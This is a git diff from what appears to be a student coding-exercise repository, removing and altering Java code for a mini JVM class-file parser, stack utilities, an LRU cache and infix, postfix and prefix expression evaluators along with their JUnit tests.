-				// Name and Type Info
-				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
-				nameType.setIndex1(iter.nextU2ToInt());
-				nameType.setIndex2(iter.nextU2ToInt());
-				pool.addConstantInfo(nameType);
-			} else {
-				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
-			}
-		}
-
-		System.out.println("Finished reading Constant pool ");
-
-		return pool;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
+		return null;
 	}
 
 	
-	
 }
diff --git a/group12/446031103/src/com/coderising/jvm/method/Method.java b/group12/446031103/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index b57ef592d2..0000000000
--- a/group12/446031103/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		return null;
-		
-	}
-}
diff --git a/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java
index a0cbf7a626..26407abbef 100644
--- a/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -23,16 +23,15 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	//模拟windows中的path,path用;连接，要在这串path中寻找jvm
-	//static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path1 = "E:\\mygit\\coding2017\\group12\\446031103\\bin";
-	static String path2 = "E:\temp";
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
 	
 	static ClassFile clzFile = null;
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
 		clzFile = loader.loadClass(className);
 		clzFile.print();
 	}
diff --git a/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java b/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java
index 00be77f3d0..cdb42d1fdd 100644
--- a/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java
+++ b/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java
@@ -165,6 +165,150 @@ public String toString(){
 		return buffer.toString();
 	}
 	
+	/*private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node(Node prev,Node next,int pageNum) {
+			this.prev = prev;
+			this.next = next;
+			this.pageNum = pageNum;
+		}
+		Node(){
+			
+		}
+	}
+
+	private int capacity;
+	private int addCnt ;
+	private int size;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		first = new Node();
+	}
+
+	*//**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 *//*
+	public void access(int pageNum) {
+		if(null==this.last){
+			this.last = new Node(this.first,null,pageNum);
+			this.first.next = this.last;
+			addCnt++;
+			size++;
+			return;
+		}
+		if(contain(pageNum)){
+			 if(Objects.equals(this.first.next.pageNum, pageNum)){
+				 return;
+			 }
+			 boolean temp = Objects.equals(getLastNode(size).pageNum, pageNum);
+			 Node currentNode = getNode(pageNum);
+			 Node nextNode = currentNode.next;
+			 Node preNode = currentNode.prev;
+			 
+			 currentNode.prev = this.first;
+			 currentNode.next = this.first.next;
+			 this.first.next = currentNode;
+			 
+			 if(temp){
+				 preNode.next = null;
+				 if(null==preNode.prev)
+					 preNode.prev = currentNode;
+			 }else{
+				 preNode.prev = currentNode;
+				 preNode.next = nextNode;
+				 nextNode.next = null;
+				 nextNode.prev = preNode;
+			 }
+			 this.last = getLastNode(size);
+			 return;
+		}
+		Node addNode = new Node(this.first,this.first.next,pageNum);
+		Node oldFirstnode=this.first.next ;
+		oldFirstnode.prev = addNode;
+		this.first.next = addNode;
+		if(isOut()){
+			
+			addCnt++;
+			if(this.size !=this.capacity )
+				size++;			
+			if(addCnt>size)
+				this.last.prev.next = null;
+			this.last = getLastNode(size);
+		}else{
+			this.last.prev.next = null;
+		}
+		
+	
+	}
 	
+	private boolean isOut(){
+		return this.addCnt<=this.capacity;
+	}
+	
+	private Node getLastNode(int sizes) {		
+		Node node=this.first;
+		for (int i = 0; i < sizes; i++) {
+			node = node.next;
+		}
+		return node;
+	}
+
+	private boolean contain(Object o){
+		Node node = this.first;
+		
+		while(null!=node.next){	
+			
+			node = node.next;
+			
+			if(Objects.equals(node.pageNum,o)){
+				return true;
+			}	
+			
+		}		
+		return false;		
+	}
+	
+	private Node getNode(Object o){
+		Node node = this.first;
+		
+		while(null!=node.next){	
+			
+			node = node.next;
+			
+			if(Objects.equals(node.pageNum,o)){
+				return node;
+			}	
+			
+		}
+		return null;
+	}
+	
+	
+	
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node.next != null){
+			node = node.next;
+			buffer.append(node.pageNum);
+			if(node.next != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}*/
 	
 }
\ No newline at end of file
diff --git a/group12/446031103/src/com/datastructure/stack/StackUtil.java b/group12/446031103/src/com/datastructure/stack/StackUtil.java
index 2d4040d25d..7cab99ede3 100644
--- a/group12/446031103/src/com/datastructure/stack/StackUtil.java
+++ b/group12/446031103/src/com/datastructure/stack/StackUtil.java
@@ -7,40 +7,13 @@ public class StackUtil {
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
 	 */
-	//错误,面向对象错误
-	/*public static void reverse(Stack s) {
+	public static void reverse(Stack s) {
 		Stack temp = new Stack();
 		while(!s.isEmpty()){
 			temp.push(s.pop());
 		}
 		s = temp;
-	}*/
-	public static void reverse(Stack s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		
-		Stack tmp = new Stack();
-		while(!s.isEmpty()){
-			tmp.push(s.pop());
-		}
-		while(!tmp.isEmpty()){
-			Object top = tmp.pop();
-			addToBottom(s,top);
-		}	
-		
-		
-	}
-	public static void addToBottom(Stack s,  Object value){
-		if(s.isEmpty()){
-			s.push(value);
-		} else{
-			Object top = s.pop();
-			addToBottom(s,value);
-			s.push(top);
-		}
 	}
-	
 
 	/**
 	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
@@ -48,9 +21,6 @@ public static void addToBottom(Stack s,  Object value){
 	 * @param o
 	 */
 	public static void remove(Stack s,Object o) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
 		Stack temp = new Stack();
 		while(!s.isEmpty()){
 			Object result=s.pop();
@@ -105,7 +75,7 @@ public static boolean isValidPairs(String s){
 				}
 			}
 		}else{
-			char result=c[clength/2];
+			char result=c[clength/2+1];
 			if(contain(result)){
 				return false;
 			};
@@ -113,7 +83,7 @@ public static boolean isValidPairs(String s){
 				if(i<clength/2){
 					temp1.push(c[i]);
 				}else{
-					if(i==clength/2){
+					if(i==clength/2-1){
 						continue;
 					}						
 					temp2.push(c[i]);
@@ -122,21 +92,8 @@ public static boolean isValidPairs(String s){
 		}
 		StackUtil.reverse(temp2);
 		while(!temp1.isEmpty()){
-			char a =(char) temp1.pop();
-			char b = (char) temp2.pop();
-			if(Objects.equals(a, '(')){
-				if(!Objects.equals(b, ')')){
-					return false;
-				}
-			}else if(Objects.equals(a, '[')){
-				if(!Objects.equals(b, ']')){
-					return false;
-				}
-				
-			}else if(Objects.equals(a, '{')){
-				if(!Objects.equals(b, '}')){
-					return false;
-				}
+			if(Objects.equals(temp1.pop(), temp2.pop())||contain(temp1.pop())||contain(temp2.pop())){
+				return false;
 			}
 		}
 		return true;
diff --git a/group12/446031103/src/com/datastructure/stack/StackUtilTest.java b/group12/446031103/src/com/datastructure/stack/StackUtilTest.java
deleted file mode 100644
index c7ed1ab9f3..0000000000
--- a/group12/446031103/src/com/datastructure/stack/StackUtilTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.datastructure.stack;
-
-
-
-import static org.junit.Assert.fail;
-
-import java.util.Stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-public class StackUtilTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testAddToBottom() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		
-		StackUtil.addToBottom(s, 0);
-		
-		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
-		
-	}
-	@Test
-	public void testReverse() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-		StackUtil.reverse(s);
-		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-	}
-	
-	@Test
-	public void testRemove() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		StackUtil.remove(s, 2);
-		Assert.assertEquals("[1, 3]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		{
-			Object[] values = StackUtil.getTop(s, 3);
-			Assert.assertEquals(5, values[0]);
-			Assert.assertEquals(4, values[1]);
-			Assert.assertEquals(3, values[2]);
-		}
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-	}
-
-}
diff --git a/group12/446031103/src/com/datastructure/stack/expr/InfixExpr.java b/group12/446031103/src/com/datastructure/stack/expr/InfixExpr.java
deleted file mode 100644
index 503f050d29..0000000000
--- a/group12/446031103/src/com/datastructure/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.datastructure.stack.expr;
-
-import java.util.Objects;
-import java.util.Stack;
-import java.lang.String;
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {	
-		Stack<Character> sign = new Stack<Character>();
-		Stack<Float> number = new Stack<Float>();
-		int strCnt = 0;
-		int numberLen = 0;
-		String[] String = expr.split("[^\\d]");
-		if(expr!=null){
-			for (int i = 0,strLen = expr.length(); i < strLen; i++) {
-				char c=expr.charAt(i);
-				if(Objects.equals(c, '+')||Objects.equals(c, '-')){
-					sign.push(c);
-				}else if(Objects.equals(c, '*')||Objects.equals(c, '/')){
-					float number1=number.pop();
-					float number2=Float.parseFloat(String[strCnt]);
-					float result=calculate(number1,number2,c);
-					numberLen = String[strCnt].length();
-					number.push(result);
-					i += numberLen;
-					strCnt++;
-				}else{
-					number.push(Float.parseFloat(String[strCnt]));
-					numberLen = String[strCnt].length();
-					strCnt++;
-					i += (numberLen-1);
-				}
-			}
-			for (int i = 0,signS = sign.size(); i < signS; i++) {
-				float number1 = number.pop();
-				float number2 =number.pop();
-				char c = sign.pop();
-				float result=calculate(number2,number1,c);
-				number.push(result);
-			}
-		}
-		return number.pop();
-	}
-	
-	private float calculate(float number1,float number2,char c){
-		float result = 0;
-		if(Objects.equals(c, '+')){
-			result = number1 + number2;
-		}else if(Objects.equals(c, '-')){
-			result = number1 - number2;
-		}else if(Objects.equals(c, '*')){
-			result = number1 * number2;
-		}else if(Objects.equals(c, '/')){
-			result = number1 / number2;
-		}
-		return result;		
-	}
-	
-
-	
-	
-}
diff --git a/group12/446031103/src/com/datastructure/stack/expr/InfixExprTest.java b/group12/446031103/src/com/datastructure/stack/expr/InfixExprTest.java
deleted file mode 100644
index 1b64b3fcc7..0000000000
--- a/group12/446031103/src/com/datastructure/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.datastructure.stack.expr;
-
-
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			float a =expr.evaluate();
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group15/1507_977996067/src/task7/expr/InfixExpr.java b/group15/1507_977996067/src/task7/expr/InfixExpr.java
deleted file mode 100644
index 1a18634382..0000000000
--- a/group15/1507_977996067/src/task7/expr/InfixExpr.java
+++ /dev/null
@@ -1,79 +0,0 @@
-package task7.expr;
-
-import org.junit.Assert;
-import task5.stack.Stack;
-
-import java.util.Arrays;
-
-public class InfixExpr {
-
-    private String expr;
-
-    private Stack<Float> numberStack = new Stack<>();
-
-    private Stack<Float> resultStack = new Stack<>();
-
-    public InfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-
-        Assert.assertNotNull(expr);
-
-        String[] operators = expr.split("[\\d]+");
-
-        int length = operators.length;
-
-        Arrays.stream(expr.split("[+\\-*/]+"))
-                .map(Float::parseFloat)
-                .forEach(numberStack::push);
-
-        numberStack = reverse(numberStack);
-
-        resultStack.push(numberStack.pop());
-
-        for (int i = 1; i < length; i++) {
-            String currentOperator = operators[i];
-//            先做乘除,结果放resultStack里面
-            switch (currentOperator) {
-                case "*":
-                    resultStack.push(resultStack.pop() * numberStack.pop());
-                    break;
-                case "/":
-                    resultStack.push(resultStack.pop() / numberStack.pop());
-                    break;
-                case "+":
-                    resultStack.push(numberStack.pop());
-                    break;
-                case "-":
-                    resultStack.push(numberStack.pop());
-                    break;
-            }
-        }
-
-        resultStack = reverse(resultStack);
-
-//        做加减
-        for (int i = 1; i < length; i++) {
-            String currentOperator = operators[i];
-            if ("+".equals(currentOperator)) {
-                Float num1 = resultStack.pop();
-                Float num2 = resultStack.pop();
-                resultStack.push(num1 + num2);
-            } else if ("-".equals(currentOperator)) {
-                Float num1 = resultStack.pop();
-                Float num2 = resultStack.pop();
-                resultStack.push(num1 - num2);
-            }
-        }
-        return resultStack.peek();
-    }
-
-    private Stack<Float> reverse(Stack<Float> stackToReverse) {
-        Stack<Float> temp = new Stack<>();
-        while (!stackToReverse.isEmpty())
-            temp.push(stackToReverse.pop());
-        return temp;
-    }
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/InfixExprTest.java b/group15/1507_977996067/src/task7/expr/InfixExprTest.java
deleted file mode 100644
index f9eb14cbdf..0000000000
--- a/group15/1507_977996067/src/task7/expr/InfixExprTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package task7.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.Arrays;
-
-public class InfixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-        {
-            InfixExpr expr = new InfixExpr("2+3*4+5");
-            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-        }
-        {
-            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("3*20/2");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("20/2*3");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-        {
-            InfixExpr expr = new InfixExpr("10-30+50");
-            Assert.assertEquals(30, expr.evaluate(), 0.001f);
-        }
-
-    }
-
-    @Test
-    public void testExprSplit() {
-        String expr = "3*20+12*5-40/2";
-        Arrays.stream(expr.split("[+\\-*/]+")).forEach(System.out::println);
-        Arrays.stream(expr.split("[\\d]+")).forEach(System.out::println);
-    }
-
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/PostfixExpr.java b/group15/1507_977996067/src/task7/expr/PostfixExpr.java
deleted file mode 100644
index 369e52c203..0000000000
--- a/group15/1507_977996067/src/task7/expr/PostfixExpr.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package task7.expr;
-
-import task5.stack.Stack;
-
-import java.util.List;
-
-public class PostfixExpr {
-    private String expr = null;
-
-    private Stack<Float> numberStack = new Stack<>();
-
-    public PostfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-        List<Token> parse = new TokenParser().parse(expr);
-        for (int i = 0; i < parse.size(); i++) {
-            Token token = parse.get(i);
-//            后缀表达式:从左向右遍历 遇到操作数入栈,遇到操作符弹出操作数栈的两个数计算再入栈
-            if (token.isNumber())
-                numberStack.push((float) token.getIntValue());
-            else
-                numberStack.push(cal(token.toString(), numberStack.pop(), numberStack.pop()));
-        }
-        /*while (!operatorStack.isEmpty()) {
-            numberStack.push(cal(operatorStack.pop(), numberStack.pop(), numberStack.pop()));
-        }*/
-        return numberStack.peek();
-    }
-
-    private static float cal(String operator, float var1, float var2) {
-        switch (operator) {
-            case "+":
-                return var2 + var1;
-            case "-":
-                return var2 - var1;
-            case "*":
-                return var2 * var1;
-            case "/":
-                return var2 / var1;
-        }
-        return -1;
-    }
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/PostfixExprTest.java b/group15/1507_977996067/src/task7/expr/PostfixExprTest.java
deleted file mode 100644
index 172d397011..0000000000
--- a/group15/1507_977996067/src/task7/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package task7.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PostfixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-            Assert.assertEquals(288, expr.evaluate(), 0.0f);
-        }
-        {
-            //9+(3-1)*3+10/2
-            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-            Assert.assertEquals(20, expr.evaluate(), 0.0f);
-        }
-
-        {
-            //10-2*3+50
-            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-            Assert.assertEquals(54, expr.evaluate(), 0.0f);
-        }
-    }
-
-}
diff --git a/group15/1507_977996067/src/task7/expr/PrefixExpr.java b/group15/1507_977996067/src/task7/expr/PrefixExpr.java
deleted file mode 100644
index fe5cb137f0..0000000000
--- a/group15/1507_977996067/src/task7/expr/PrefixExpr.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package task7.expr;
-
-import task5.stack.Stack;
-
-import java.util.List;
-
-public class PrefixExpr {
-
-    private String expr;
-
-    private Stack<Float> numberStack = new Stack<>();
-
-    public PrefixExpr(String expr) {
-        this.expr = expr;
-
-    }
-
-    public float evaluate() {
-        List<Token> parse = new TokenParser().parse(expr);
-        for (int i = parse.size() - 1; i >= 0; i--) {
-            Token token = parse.get(i);
-//            前缀表达式:从右向左遍历 遇到操作数入栈,遇到操作符弹出操作数栈的两个数计算再入栈
-            if (token.isNumber())
-                numberStack.push((float) token.getIntValue());
-            else
-                numberStack.push(cal(token.toString(), numberStack.pop(), numberStack.pop()));
-        }
-        /*while (!operatorStack.isEmpty()) {
-            numberStack.push(cal(operatorStack.pop(), numberStack.pop(), numberStack.pop()));
-        }*/
-        return numberStack.peek();
-    }
-
-    private static float cal(String operator, float var1, float var2) {
-        switch (operator) {
-            case "+":
-                return var1 + var2;
-            case "-":
-                return var1 - var2;
-            case "*":
-                return var1 * var2;
-            case "/":
-                return var1 / var2;
-        }
-        return -1;
-    }
-}
diff --git a/group15/1507_977996067/src/task7/expr/PrefixExprTest.java b/group15/1507_977996067/src/task7/expr/PrefixExprTest.java
deleted file mode 100644
index 9ac8f9936f..0000000000
--- a/group15/1507_977996067/src/task7/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package task7.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrefixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-        {
-            // 2*3+4*5
-            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-            Assert.assertEquals(26, expr.evaluate(), 0.001f);
-        }
-        {
-            // 4*2 + 6+9*2/3 -8
-            PrefixExpr expr = new PrefixExpr("- + + 6 / * 2 9 3 * 4 2 8");
-            Assert.assertEquals(12, expr.evaluate(), 0.001f);
-        }
-        {
-            //(3+4)*5-6
-            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-            Assert.assertEquals(29, expr.evaluate(), 0.001f);
-        }
-        {
-            //1+((2+3)*4)-5
-            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-            Assert.assertEquals(16, expr.evaluate(), 0.001f);
-        }
-
-
-    }
-
-}
diff --git a/group15/1507_977996067/src/task7/expr/Token.java b/group15/1507_977996067/src/task7/expr/Token.java
deleted file mode 100644
index 5ca7b1aef8..0000000000
--- a/group15/1507_977996067/src/task7/expr/Token.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package task7.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-public class Token {
-    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-    private static final Map<String, Integer> priorities = new HashMap<>();
-
-    static {
-        priorities.put("+", 1);
-        priorities.put("-", 1);
-        priorities.put("*", 2);
-        priorities.put("/", 2);
-    }
-
-    static final int OPERATOR = 1;
-    static final int NUMBER = 2;
-    String value;
-    int type;
-
-    public Token(int type, String value) {
-        this.type = type;
-        this.value = value;
-    }
-
-    public boolean isNumber() {
-        return type == NUMBER;
-    }
-
-    public boolean isOperator() {
-        return type == OPERATOR;
-    }
-
-    public int getIntValue() {
-        return Integer.valueOf(value);
-    }
-
-    public String toString() {
-        return value;
-    }
-
-    public boolean hasHigherPriority(Token t) {
-        if (!this.isOperator() && !t.isOperator()) {
-            throw new RuntimeException("numbers can't compare priority");
-        }
-        return priorities.get(this.value) - priorities.get(t.value) > 0;
-    }
-
-
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/TokenParser.java b/group15/1507_977996067/src/task7/expr/TokenParser.java
deleted file mode 100644
index 45d75ffc12..0000000000
--- a/group15/1507_977996067/src/task7/expr/TokenParser.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package task7.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-
-
-    public List<Token> parse(String expr) {
-        List<Token> tokens = new ArrayList<>();
-
-        int i = 0;
-
-        while (i < expr.length()) {
-
-            char c = expr.charAt(i);
-
-            if (isOperator(c)) {
-
-                Token t = new Token(Token.OPERATOR, String.valueOf(c));
-                tokens.add(t);
-                i++;
-
-            } else if (Character.isDigit(c)) {
-
-                int nextOperatorIndex = indexOfNextOperator(i, expr);
-                String value = expr.substring(i, nextOperatorIndex);
-                Token t = new Token(Token.NUMBER, value);
-                tokens.add(t);
-                i = nextOperatorIndex;
-
-            } else {
-//                System.out.println("char :[" + c + "] is not number or operator,ignore");
-                i++;
-            }
-
-        }
-        return tokens;
-    }
-
-    private int indexOfNextOperator(int i, String expr) {
-
-        while (Character.isDigit(expr.charAt(i))) {
-            i++;
-            if (i == expr.length()) {
-                break;
-            }
-        }
-        return i;
-
-    }
-
-    private boolean isOperator(char c) {
-        String sc = String.valueOf(c);
-        return Token.OPERATORS.contains(sc);
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/AttributeInfo.java b/group15/1507_977996067/src/task7/jvm/attr/AttributeInfo.java
deleted file mode 100644
index aba714c39b..0000000000
--- a/group15/1507_977996067/src/task7/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package task7.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/CodeAttr.java b/group15/1507_977996067/src/task7/jvm/attr/CodeAttr.java
deleted file mode 100644
index e3784bec44..0000000000
--- a/group15/1507_977996067/src/task7/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,120 +0,0 @@
-package task7.jvm.attr;
-
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.cmd.ByteCodeCommand;
-import task7.jvm.cmd.CommandParser;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.loader.ByteCodeIterator;
-
-public class CodeAttr extends AttributeInfo {
-    private int maxStack;
-    private int maxLocals;
-    private int codeLen;
-    private String code;
-
-    public String getCode() {
-        return code;
-    }
-
-    private ByteCodeCommand[] cmds;
-
-    public ByteCodeCommand[] getCmds() {
-        return cmds;
-    }
-
-    private LineNumberTable lineNumTable;
-    private LocalVariableTable localVarTable;
-    private StackMapTable stackMapTable;
-
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
-        super(attrNameIndex, attrLen);
-        this.maxStack = maxStack;
-        this.maxLocals = maxLocals;
-        this.codeLen = codeLen;
-        this.code = code;
-        //this.cmds = cmds;
-    }
-
-    public void setLineNumberTable(LineNumberTable t) {
-        this.lineNumTable = t;
-    }
-
-    public void setLocalVariableTable(LocalVariableTable t) {
-        this.localVarTable = t;
-    }
-
-    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
-
-        int attrNameIndex = iter.next2Bytes();
-        int attrLen = iter.next4Bytes();
-        int maxStack = iter.next2Bytes();
-        int maxLocals = iter.next2Bytes();
-        int codeLen = iter.next4Bytes();
-
-        String code = iter.nextUxToHexString(codeLen);
-
-        System.out.println(code);
-
-        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-
-        CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
-
-        int exceptionTableLen = iter.next2Bytes();
-        //TODO 处理exception
-        if (exceptionTableLen > 0) {
-            String exTable = iter.nextUxToHexString(exceptionTableLen);
-            System.out.println("Encountered exception table , just ignore it :" + exTable);
-
-        }
-
-
-        int subAttrCount = iter.next2Bytes();
-
-        for (int x = 1; x <= subAttrCount; x++) {
-            int subAttrIndex = iter.next2Bytes();
-            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
-
-            //已经向前移动了U2, 现在退回去。
-            iter.back(2);
-            //line item table
-            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
-
-                LineNumberTable t = LineNumberTable.parse(iter);
-                codeAttr.setLineNumberTable(t);
-            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
-                LocalVariableTable t = LocalVariableTable.parse(iter);
-                codeAttr.setLocalVariableTable(t);
